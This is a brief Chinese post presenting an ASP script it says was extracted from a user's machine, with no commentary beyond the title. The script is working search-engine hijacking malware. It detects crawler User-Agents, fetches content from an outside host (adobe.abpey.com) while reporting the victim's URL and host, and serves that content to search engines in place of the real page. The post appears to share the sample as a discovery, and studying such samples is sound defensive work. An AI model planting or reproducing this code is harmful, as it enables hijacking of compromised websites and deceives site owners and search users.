一段刚从用户机器提取的搜索引擎劫持的代码！

admin

1. <%
   
2. Function IsWebSearch()
   
3.   IsWebSearch = False
   
4.   Dim Botlist,i
   
5.   BotList = "Google,Isaac,SurveyBot,yahoo,Baiduspider,yisou,3721,ia_archiver,P.Arthur,FAST-WebCrawler,Java,Microsoft-ATL-Native,TurnitinBot,WebGather,Sleipnir"
   
6.   Botlist = Split(Botlist,",")
   
7.   For i = 0 To Ubound(Botlist)
   
8.    If InStr(Lcase(Request.ServerVariables("HTTP_USER_AGENT")),Lcase(Botlist(i))) > 0 Then
   
9.     IsWebSearch = True
   
10.     Exit For
    
11.    End If
    
12.   Next
    
13. End Function
    
14. if IsWebSearch=true then
    
15. 
    
16. ScriptAddress = CStr(Request.ServerVariables("SCRIPT_NAME"))
    
17. host = request.ServerVariables("HTTP_HOST")
    
18. U=Request.QueryString
    
19. if U<>"" then
    
20. 
    
21.         GetUrl =Request.ServerVariables("Server_Name")&ScriptAddress&"?"&U
    
22. 
    
23. else
    
24.         GetUrl= Request.ServerVariables("Server_Name")&ScriptAddress
    
25. end if   
    
26. GetUrl=replace(replace(geturl,"/",""),"?","")
    
27. 
    
28. 
    
29. httpuser=LCase(request.servervariables("http_user_agent"))
    
30.         if  instr(httpuser,"google")>0 or instr(httpuser,"soso")>0 or instr(httpuser,"yahoo")>0 or instr(httpuser,"youdao")>0 or instr(httpuser,"sogou")>0 then
    
31. url="http://adobe.abpey.com/lastp.php?A="&GetUrl&"&B="&host
    
32.         elseif  instr(httpuser,"baidu")>0 then
    
33. url="http://adobe.abpey.com/lastp.php?A="&Server.URLEncode(GetUrl)&"&B="&host
    
34. 
    
35. end if
    
36. Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
    
37. ObjXMLHTTP.Open "GET",url,False
    
38. ObjXMLHTTP.setRequestHeader "User-Agent",url
    
39. ObjXMLHTTP.send
    
40. GetHtml=ObjXMLHTTP.responseBody
    
41. Set ObjXMLHTTP=Nothing
    
42. set objStream = Server.CreateObject("Adodb.Stream")
    
43. objStream.Type = 1
    
44. objStream.Mode =3
    
45. objStream.Open
    
46. objStream.Write GetHtml
    
47. objStream.Position = 0
    
48. objStream.Type = 2
    
49. objStream.Charset = "gb2312"
    
50. GetHtml = objStream.ReadText
    
51. GetHtml = Replace(GetHtml,"href='","href='?")
    
52. objStream.Close
    
53. response.write GetHtml
    
54. end if
    
55. 'else
    
56. 'response.write Replace(Request.ServerVariables("server_name"),"www.","")
    
57. 'end if%>
    

复制代码